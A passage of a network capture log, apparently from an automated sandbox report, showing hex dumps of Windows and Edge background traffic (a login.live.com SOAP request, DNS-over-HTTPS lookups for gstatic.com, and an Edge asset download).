Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-18 12:29:24 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-18 12:29:25 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49760	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:25 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-18 12:29:25 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 12:29:25 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 12:28:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: 5437ecfb-6a51-47bc-bce7-1f717098069e PPServer: PPV: 30 H: PH1PEPF0001202B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 12:29:24 GMT Connection: close Content-Length: 11392
2024-11-18 12:29:25 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49771	172.64.41.3	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:29:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:29:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:29:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f7522cad2860-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:29:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fe 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49776	162.159.61.3	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:29:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:29:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:29:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f7523b9e143f-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:29:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 88 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49772	162.159.61.3	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:29:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:29:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:29:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f7523ad16bd7-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:29:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 09 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49775	13.107.246.45	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:26 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:27 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:26 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8d55dced-901e-000f-65df-3785f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122926Z-16547b76f7fpdsp9hC1DFW8f50000000039g00000000cczv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 12:29:27 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 